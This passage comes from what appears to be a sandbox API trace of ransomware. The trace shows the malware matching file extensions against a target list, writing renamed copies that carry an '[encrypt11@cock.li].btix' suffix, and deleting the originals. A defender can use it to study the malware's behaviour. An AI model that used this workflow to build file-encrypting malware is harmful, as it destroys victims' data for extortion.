Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0136.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0136.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0136.971] lstrlenW (lpString=".doc") returned 4 [0136.971] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.971] lstrlenW (lpString=".docx") returned 5 [0136.971] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0136.971] lstrlenW (lpString=".pdf") returned 4 [0136.971] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.971] lstrlenW (lpString=".xls") returned 4 [0136.991] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.991] lstrlenW (lpString=".xlsx") returned 5 [0136.991] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0136.991] lstrlenW (lpString=".ppt") returned 4 [0137.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString=".zip") returned 4 [0137.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.010] lstrlenW (lpString=".rar") returned 4 [0137.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.010] lstrlenW (lpString=".bz2") returned 4 [0137.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.010] lstrlenW (lpString=".7z") returned 3 [0137.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString=".dbf") returned 4 [0137.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString=".1cd") returned 4 [0137.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString=".jpg") returned 4 [0137.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.010] lstrlenW (lpString=".doc") returned 4 [0137.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.010] lstrlenW (lpString=".docx") returned 5 [0137.010] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0137.010] lstrlenW (lpString=".pdf") returned 4 [0137.011] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.011] lstrlenW (lpString=".xls") returned 4 [0137.011] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.011] lstrlenW (lpString=".xlsx") returned 5 [0137.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0137.011] lstrlenW (lpString=".ppt") returned 4 [0137.011] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.011] lstrlenW (lpString=".zip") returned 4 [0137.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.011] lstrlenW (lpString=".rar") returned 4 [0137.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.011] lstrlenW (lpString=".bz2") returned 4 [0137.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.011] lstrlenW (lpString=".7z") returned 3 [0137.011] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.011] lstrlenW (lpString=".dbf") returned 4 [0137.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.011] lstrlenW (lpString=".1cd") returned 4 [0137.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0137.011] lstrlenW (lpString=".jpg") returned 4 [0137.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.011] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.011] lstrlenW (lpString="J0099166.JPG") returned 12 [0137.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.012] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=64767) returned 1 [0137.012] CloseHandle (hObject=0x530) returned 1 [0137.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0137.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.012] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.012] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.013] GetLastError () returned 0x0 [0137.013] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0137.038] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0137.040] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.040] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.040] SetEndOfFile (hFile=0x548) returned 1 [0137.040] CloseHandle (hObject=0x548) returned 1 [0137.040] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.040] SetEndOfFile (hFile=0x530) returned 1 [0137.043] CloseHandle (hObject=0x530) returned 1 [0137.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0137.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.044] lstrlenW (lpString=".doc") returned 4 [0137.044] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.044] lstrlenW (lpString=".docx") returned 5 [0137.044] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0137.044] lstrlenW (lpString=".pdf") returned 4 [0137.044] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.044] lstrlenW (lpString=".xls") returned 4 [0137.044] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.044] lstrlenW (lpString=".xlsx") returned 5 [0137.044] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0137.044] lstrlenW (lpString=".ppt") returned 4 [0137.044] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".zip") returned 4 [0137.045] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString=".rar") returned 4 [0137.045] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString=".bz2") returned 4 [0137.045] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.045] lstrlenW (lpString=".7z") returned 3 [0137.045] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".dbf") returned 4 [0137.045] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".1cd") returned 4 [0137.045] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".jpg") returned 4 [0137.045] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".doc") returned 4 [0137.045] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.045] lstrlenW (lpString=".docx") returned 5 [0137.045] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0137.045] lstrlenW (lpString=".pdf") returned 4 [0137.045] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString=".xls") returned 4 [0137.045] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString=".xlsx") returned 5 [0137.045] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0137.045] lstrlenW (lpString=".ppt") returned 4 [0137.045] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.045] lstrlenW (lpString=".zip") returned 4 [0137.045] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.045] lstrlenW (lpString=".rar") returned 4 [0137.045] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.046] lstrlenW (lpString=".bz2") returned 4 [0137.046] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.046] lstrlenW (lpString=".7z") returned 3 [0137.046] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.046] lstrlenW (lpString=".dbf") returned 4 [0137.046] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.046] lstrlenW (lpString=".1cd") returned 4 [0137.046] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0137.046] lstrlenW (lpString=".jpg") returned 4 [0137.046] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.046] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.046] lstrlenW (lpString="J0099168.JPG") returned 12 [0137.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.057] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20179) returned 1 [0137.057] CloseHandle (hObject=0x530) returned 1 [0137.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0137.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.057] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.058] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.058] GetLastError () returned 0x0 [0137.058] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0137.062] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0137.063] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.063] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.063] SetEndOfFile (hFile=0x548) returned 1 [0137.063] CloseHandle (hObject=0x548) returned 1 [0137.063] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.063] SetEndOfFile (hFile=0x530) returned 1 [0137.066] CloseHandle (hObject=0x530) returned 1 [0137.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0137.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.066] lstrlenW (lpString=".doc") returned 4 [0137.066] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.067] lstrlenW (lpString=".docx") returned 5 [0137.067] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0137.067] lstrlenW (lpString=".pdf") returned 4 [0137.067] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.067] lstrlenW (lpString=".xls") returned 4 [0137.067] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.067] lstrlenW (lpString=".xlsx") returned 5 [0137.067] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0137.067] lstrlenW (lpString=".ppt") returned 4 [0137.067] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.067] lstrlenW (lpString=".zip") returned 4 [0137.067] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.067] lstrlenW (lpString=".rar") returned 4 [0137.067] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.067] lstrlenW (lpString=".bz2") returned 4 [0137.067] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.067] lstrlenW (lpString=".7z") returned 3 [0137.067] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.067] lstrlenW (lpString=".dbf") returned 4 [0137.067] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.067] lstrlenW (lpString=".1cd") returned 4 [0137.067] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.067] lstrlenW (lpString=".jpg") returned 4 [0137.067] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString=".doc") returned 4 [0137.068] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.068] lstrlenW (lpString=".docx") returned 5 [0137.068] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0137.068] lstrlenW (lpString=".pdf") returned 4 [0137.068] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.068] lstrlenW (lpString=".xls") returned 4 [0137.068] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.068] lstrlenW (lpString=".xlsx") returned 5 [0137.068] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0137.068] lstrlenW (lpString=".ppt") returned 4 [0137.068] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString=".zip") returned 4 [0137.068] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.068] lstrlenW (lpString=".rar") returned 4 [0137.068] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.068] lstrlenW (lpString=".bz2") returned 4 [0137.068] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.068] lstrlenW (lpString=".7z") returned 3 [0137.068] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString=".dbf") returned 4 [0137.068] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString=".1cd") returned 4 [0137.068] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0137.068] lstrlenW (lpString=".jpg") returned 4 [0137.068] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.069] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.069] lstrlenW (lpString="J0099169.WMF") returned 12 [0137.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.069] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10192) returned 1 [0137.069] CloseHandle (hObject=0x530) returned 1 [0137.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0137.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0137.070] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.070] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0137.070] GetLastError () returned 0x0 [0137.070] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0137.076] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0137.077] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.077] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.078] SetEndOfFile (hFile=0x548) returned 1 [0137.078] CloseHandle (hObject=0x548) returned 1 [0137.078] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.078] SetEndOfFile (hFile=0x530) returned 1 [0137.080] CloseHandle (hObject=0x530) returned 1 [0137.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0137.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.081] lstrlenW (lpString=".doc") returned 4 [0137.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.081] lstrlenW (lpString=".docx") returned 5 [0137.081] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.081] lstrlenW (lpString=".pdf") 